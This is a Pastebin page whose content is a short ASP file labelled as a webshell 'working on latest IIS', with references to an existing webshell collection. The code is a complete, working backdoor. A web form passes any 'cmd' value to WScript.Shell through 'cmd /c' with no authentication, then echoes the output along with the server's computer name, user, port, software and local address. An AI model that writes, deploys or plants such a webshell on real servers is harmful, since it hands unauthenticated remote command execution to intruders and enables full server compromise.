Advertisement
Guest User

Untitled

a guest
Apr 17th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 1.37 KB | None | 0 0
  1. <!--
  2. ASP Webshell
  3. Working on latest IIS
  4. Referance :-
  5. https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
  6. http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
  7. http://www.w3schools.com/asp/
  8. -->
  9.  
  10.  
  11. <%
  12. Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  13. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  14. Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  15. Function getCommandOutput(theCommand)
  16.     Dim objShell, objCmdExec
  17.     Set objShell = CreateObject("WScript.Shell")
  18.     Set objCmdExec = objshell.exec(thecommand)
  19.     getCommandOutput = objCmdExec.StdOut.ReadAll
  20. end Function
  21. %>
  22.  
  23.  
  24. <HTML>
  25. <BODY>
  26. <FORM action="" method="GET">
  27. <input type="text" name="cmd" size=45 value="<%= szCMD %>">
  28. <input type="submit" value="Run">
  29. </FORM>
  30. <PRE>
  31. <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
  32. <%Response.Write(Request.ServerVariables("server_name"))%>
  33. <p>
  34. <b>The server's port:</b>
  35. <%Response.Write(Request.ServerVariables("server_port"))%>
  36. </p>
  37. <p>
  38. <b>The server's software:</b>
  39. <%Response.Write(Request.ServerVariables("server_software"))%>
  40. </p>
  41. <p>
  42. <b>The server's software:</b>
  43. <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
  44. <% szCMD = request("cmd")
  45. thisDir = getCommandOutput("cmd /c" & szCMD)
  46. Response.Write(thisDir)%>
  47. </p>
  48. <br>
  49. </BODY>
  50. </HTML>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement